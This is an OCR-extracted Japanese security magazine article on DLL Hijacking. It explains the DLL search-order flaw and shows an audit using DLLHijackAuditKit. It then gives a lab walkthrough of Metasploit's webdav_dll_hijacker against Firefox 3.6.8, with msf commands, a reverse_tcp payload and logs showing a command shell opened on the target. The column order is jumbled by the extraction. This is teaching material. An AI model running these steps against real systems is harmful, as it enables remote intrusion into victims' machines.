htmlのターゲット

Windowsプログラムの脆弱性を突いてシェルを獲得
Metasploit で
DLL Hijacking
攻撃者が任意のDLLを読み込ませること
で、自由にプログラムを実行させるDLL
Hijacking。この仕組みを解説しつつ、実
際にMetasploitでターゲットを攻撃!
htmlファイルをクリックすると…
ここでは、
2010 年 8 月に Microsoft 社がセキュ
文●かいと
下の図を見ていただきたい。Firefox に関連付
けされた html ファイルを開く
(図 1)と、なぜか
電卓プログラム
(calc.exe)が起動してしまった
(図
リティアドバイザリ 2269637 ※ 1 を発行した攻撃
2)。これは、html ファイルと同じフォルダにある
手法「DLL Hijacking」と、それに関連するツー
「dwmapi.dll」が読み込まれた結果だ。下図のよ
ルについて説明する。DLL Hijacking は、Binary
うに事前に用意した DLL を脆弱なプログラムに読
Planting または DLL Preloading と呼ばれる場合
み込ませることで、DLL Hijacking が成功する。
もある。
DLL Hijacking を簡単に説 明すると、
「ソフト
DLL Hijackingの発生原因
ウェアが想定している DLL の代わりに、攻撃者
DLL Hijacking の問題が生じる原因は、プログ
が用意した DLL を読み込ませることができる攻撃
ラムが DLL を動的に読み込む際、特定の DLL を
手法」である。DLL(Dynamic Link Library)とは、 完全修飾パス(絶対パス)などではなく、ファイ
Windows プログラムが動的に読み込むライブラ
ル名(例えば foo.dll)で指定していることにある。
リである。
ファイル名で DLL を指定した場合、プログラム
まず、DLL Hijacking の問題が発見されたソフ
は以下の探索順序に従って、該当ファイル名を探
トウェアを使って、実際に見てみよう。ここでは、
索する(この順序は SafeDllSearchMode が有効
Mozilla Firefox 3.6.8 を使用する(このバージョ
な場合)。
ン使っている読者さんはいないですよね?)。
図 1 ダウンロードフォルダに「これ見て .html」と「dwmapi.
dll」がある。
「これ見て .html」をダブルクリックする
162
図 2 Firefox が起動するだけではなく、電卓プログラムも起動
してしまった
*1 http://www.microsoft.com/japan/technet/security/advisory/2269637.mspx
PART
2 攻撃コード実行 の
① アプリケーションがロードされたディレクトリ
② システム ディレクトリ
新しい攻撃手法ではない
③ 16 ビット システム ディレクトリ
ところで、Windows に お ける DLL Hijacking
④ Windows ディレクトリ
は 2010 年に発見された新しい攻撃手法ではない。
⑤ 現在の作業ディレクトリ
で は、 な ぜ 2010 年 8 月に Microsoft 社 が DLL
(CWD:Current Working Directory)
Hijacking に関してセキュリティアドバイザリを
⑥ PATH 環境変数の一覧にあるディレクトリ
発行したのか。その理由は、
「リモートから DLL
Hijacking を仕掛ける手法が確認された」ことに
⑤の「CWD」に注目してほしい。
「CWD」とは
ある。
プログラムが起動したときのディレクトリを指す。
先に紹介した Firefox に対する DLL Hijacking
先に紹介した Firefox の例では、
「これ見て .html」
の例では、ローカルのダウンロードフォルダの
をダブルクリックしたダウンロードフォルダが
ファイルを開いた。だが実際の攻撃では、攻撃
「CWD」となる。
者が用意した WebDAV などによる共有フォルダ、
プログラムによっては、存在しない DLL を読み
USB 接続した外部ドライブにあるファイルを利用
込もうとしたり、
「CWD」以降の PATH 環境変数
者に開かせるといったシナリオが想定できる。
のディレクトリに存在する DLL を読み込もうとす
読者の皆さんは、これから紹介する「DLLHijack
る。
AuditKit V2」を 使って、自分の Windows 環 境
このようなプログラムでは、
「CWD」内の DLL
に DLL Hijacking のターゲットとなるソフトウェ
を探索し、目的のファイル名がある場合、それを
アがないか、確認してみてほしい。脆弱なソフト
読み込んでしまう。この結果攻撃者が、用意した
ウェアがあった場合、アップデートしよう。まだ
DLL を読み込ませる余地ができるのだ。
DLL Hijacking の問題が修正されていない場合は、
Microsoft 社が公開している「DLL プリロード問
題の対策ガイダンス」の対処方法を検討しよう。
DLL Hijackingの問題がないかチェック
Metasploit Framework のチーフ・アーキテクト
bat」、
「02_Analyze.bat bat」の2つバッチファイル
HD Moore 氏が DLL Hijacking に対して脆弱なソ
で構成されている。では、
「01_StartAudit.bat」、
フトウェアを検出するツール「DLLHijack AuditKit
「02_Analyze.bat」の実行結果を順に見ていこう。
v2」※ 2 をリリースしている。このツールを使えば、
なお、この記事で「DLLHijackAuditKit v2」を実
自分の Windows 環境が DLL Hijacking に対して
行する Windows 環境には、DLL Hijacking に対
脆弱でないか確認できる。
し脆弱な Mozilla Firefox 3.6.8、Lhaplus 1.57 を
「DLLHijackAuditKit v2」 は 「01_StartAudit.
インストールしている。
1
[*] Starting the audit...
[*] Downloading procmon.exe from ¥¥live.sysinternals.com ...
[*] Starting the process monitor...
← Process Monitor を起動する
[*] Creating test cases for each file extension...
↑ Windows に登録されている拡張子に基づいて、テストファイル(./DLLAudit/ext/< 拡張子 >/exploit.
< 拡張子 >)を作成する
[*] Created 328 test cases
[*] Protecting 30 processes ← 起動しているプロセス ID を記録する
[*] Auditing extension: 323 ← 作業ディレクトリを ./DLLAudit/ext/< 拡張子 >/ に移動し、
「cmd.exe」を使って、拡張子に関連付けられたプログラムを起動する
(次ページ図②を参照)
[*] Auditing extension: aca
(略)← テストケース分だけ同様のログが出力される
次ページに続く
*2 https://www.metasploit.com/redmine/projects/framework/repository/raw/external/source/DLLHijackAuditKit.zip
163
[*] Auditing extension: zoo
[*] Data collection phase complete, export Logfile.CSV from ProcMon.
↑このメッセージが出力されると、
「01 _ StartAudit.bat」が完了となる。起動している Process Monitor
を手動で停止し、実行結果を DLLHijackAuditKit フォルダに CSV 形式で「Logfile.CSV」として保存する
「01_StartAudit.bat」を実行すると、このような結果となる
2
「01_StartAudit.bat」の実行画面。
この場合は拡張子 crl に関連した
プログラムを起動する
3
[*] Protecting 28 processes ← 起動しているプロセス ID を記録する
[*] Generating and validating test cases... ←
「Logfile.CSV」
からDLL Hijacking のテストケー
スを作成する。テストケースは、./TestCases/< プロセス名 >/< 拡張子 > に保存される
[*] Application: rundll32.exe
↑ 作成したテストケースを元に DLL Hijacking を実行する(下図④を参照)。テストケースのフォルダに
exploited.txt が作成されたら、脆弱であると判断する
[*] Application: lhaplus.exe
[*] Successfully exploited lhaplus.exe with .ace using 7-zip32.dll
↑ このログから、Lhaplus が DLL Hijacking に対して脆弱であることが判明した。Lhaplus に拡張子 ace
が関連付けられている。この場合、拡張子.ace のファイルを開く際に、同じフォルダに「7-zip.dll」というファ
イルを保存しておくと、その DLL が読み込まれてしまう
次に「02_Analyze.bat」を実行してみる
4
「02_Analyze.bat」の実行 結果画
面。rundll32.exe に 対 し て、DLL
Hijacking を実際に試みている
MetasploitでDLL Hijacking
Metasploit には、DLL Hijacking を実 行 する
この記事の再現環境において、攻撃側(IP:192.
モジュール「webdav_dll_hijacker」がある。こ
168.0.30) は Windows XP SP3+Cygwin 上 で
れを 使って、実際に DLL Hijacking を 体 験でき
Metasploit Framework v3.6.0 リビジョン 11442
る。モジュール「webdav_dll_hijacker」を使っ
を 使 用 し、 タ ー ゲ ット(IP:192.168.0.103) は
た DLL Hijacking が成功するには、攻撃対象とな
Windows XP SP3+Mozilla Firefox 3.6.8 を 使 用
る Windows に、DLL Hijacking に脆弱なソフト
した。
ウェアがインストールされている必要がある。
164
PART
1
2 攻撃コード実行 の
msf > use exploit/windows/browser/webdav _ dll _ hijacker
msf exploit(webdav _ dll _ hijacker) > set EXTENSIONS html
↑ Exploit で使用するファイルの拡張子を指定する。ここでは Firefox に関連付けられている「html」を指定
した
EXTENSIONS => html
msf exploit(webdav _ dll _ hijacker) > set BASENAME readme
↑ Exploit で使用するファイルのファイル名を指定する
BASENAME => readme
(略) ←ペイロードには windows/shell/reverse _ tcp を設定した
msf exploit(webdav _ dll _ hijacker) > exploit
↑ Exploit を実行すると、WebDAV でアクセスできる Web サービスが起動する。Attacker は UNC
「¥¥192.168.0.30¥documents¥」か、URL「http://192.168.0.30:80/」でターゲットを誘導する。URL
の場合は Internet Explorer でなければならない
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.0.30:4444
[*]
[*] Exploit links are now available at ¥¥192.168.0.30¥documents¥
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.0.30:80/
[*] Server started.
攻撃側で「webdav_dll_hijacker」を実行する
2
3
ターゲットが ¥¥192.168.0.30¥documents にアクセス
ターゲットが「readme.html」をダブルクリック
すると、Web フォルダが開く。その Web フォルダに
で開くと、
Firefox が「readme.html」を表示する。
「readme.html」があることがわかる。なお Web フォ
ルダを開いた時点では、攻撃者の DLL が存在しない
4
このとき、Metasploit が DLL を 生 成し、DLL
Hijacking が成功する(④参照)
msf exploit(webdav _ dll _ hijacker) > [*] 192.168.0.103:1163 OPTIONS /
↑ ターゲットが Web フォルダを開くと、ログが出力され始める(②参照)
[*] 192.168.0.103:1163 PROPFIND /documents
[*] 192.168.0.103:1163 PROPFIND => 301(/documents)
(略)
[*] 192.168.0.103:1164 PROPFIND /documents/dwmapi.dll
↑ Mozilla Firefox 3.6.8 で「readme.html」を開くと、Firefox は作業ディレクトリ
(¥¥192.168.0.30¥documents)で dwmapi.dll を探索してしまう(③参照)
[*] 192.168.0.103:1164 PROPFIND => 207 File(/documents/dwmapi.dll)
[*] 192.168.0.103:1164 GET => DLL Payload
↑ Metasploit Framework がペイロードの DLL を生成して、ターゲットに送信する
(略)
[*] Command shell session 1 opened(192.168.0.30:4444 -> 192.168.0.103:1167) at Thu
Dec 30 01:49:31 +0900 2010 ← DLL Hijacking が成功し、コネクトバックシェルが確立した
(略)
ターゲットが Web フォルダの「readme.html」を開くと、攻撃は成功し、コマンドシェルが動かせるように
なった
165